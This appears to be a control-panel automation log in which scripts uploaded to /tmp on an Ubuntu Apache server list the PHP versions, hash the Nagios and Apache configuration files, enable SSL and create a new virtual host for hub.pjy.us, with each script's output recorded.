 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-31 11:30:28: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2026-03-31 11:30:28: 

PUT: /tmp/pkp334179

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-31 11:30:28: 

chmod 755 /tmp/pkp334179; /tmp/pkp334179; rm /tmp/pkp334179

2026-03-31 11:30:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-31 11:30:28: 

PUT: /tmp/pkp497626

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-31 11:30:28: 

chmod 755 /tmp/pkp497626; /tmp/pkp497626; rm /tmp/pkp497626

2026-03-31 11:30:29: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-03-31 11:30:29: 

PUT: /tmp/pkp753749

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-31 11:30:29: 

chmod 755 /tmp/pkp753749; /tmp/pkp753749; rm /tmp/pkp753749

2026-03-31 11:30:29: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 995fee4c636b92ff7c52c503adce3e2f
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= f0d82d7673bc8aac8a03809b832861e0
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2026-03-31 11:30:29: 

PUT: /tmp/pkp372063

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-31 11:30:29: 

chmod 755 /tmp/pkp372063; /tmp/pkp372063; rm /tmp/pkp372063

2026-03-31 11:30:29: 


status=ok


2026-03-31 11:30:29: 

PUT: /tmp/pkp520205

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:30:29: 

chmod 755 /tmp/pkp520205; /tmp/pkp520205; rm /tmp/pkp520205

2026-03-31 11:30:29: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= cacfbf8718a1e8092d40e0522c355800
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 4dd430c852cb312a2a0de5c9b5439c91
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= af5483a80eb95f0483b52cc474fc3b1d
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= a64e07eff4b031bd3bda384f8bb50dc8
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 4f687838cb93eb85f6c2335f764d02fc
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a727746bd36ccdb032c4d9e25a4423b
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 7305f50b93f8ff30ac5a1c90430ac35c
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 891c32524516668ef2093790f319b0b5
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 140ce8b1698a959dd31d7da56c0e3616
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 1884a8f36c31ee2fe34d68fda8e1ef12
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= ca7678f2a07f10efe5476971a42ea280
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 531bf3132b99f9f8f817cb9a05aca6c1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= 2ed21345e273eb18be8f198117b96edb
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= ad029145e2cd857e56527eec590ecd9d
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf




STDERR:
/tmp/pkp520205:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-03-31 11:30:54: Establishing a connection
2026-03-31 11:30:54: 

PUT: /tmp/pkp432753

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/pjy_hub_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:30:54: 

chmod 755 /tmp/pkp432753; /tmp/pkp432753; rm /tmp/pkp432753

2026-03-31 11:30:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/pjy_hub_us.conf 0



2026-03-31 11:30:54: 

PUT: /tmp/pkp550315

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_hub_us.conf
TARGET=sites-available/pjy_hub_us.conf
DOCROOT=/var/www/pjy_hub
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/pjy_hub_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2/sites-available/pjy_hub_us.conf'
	echo 'file(/etc/apache2/sites-available/pjy_hub_us.conf= 1'
fi


2026-03-31 11:30:54: 

chmod 755 /tmp/pkp550315; /tmp/pkp550315; rm /tmp/pkp550315

2026-03-31 11:30:54: 


link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2/sites-available/pjy_hub_us.conf
file(/etc/apache2/sites-available/pjy_hub_us.conf= 1


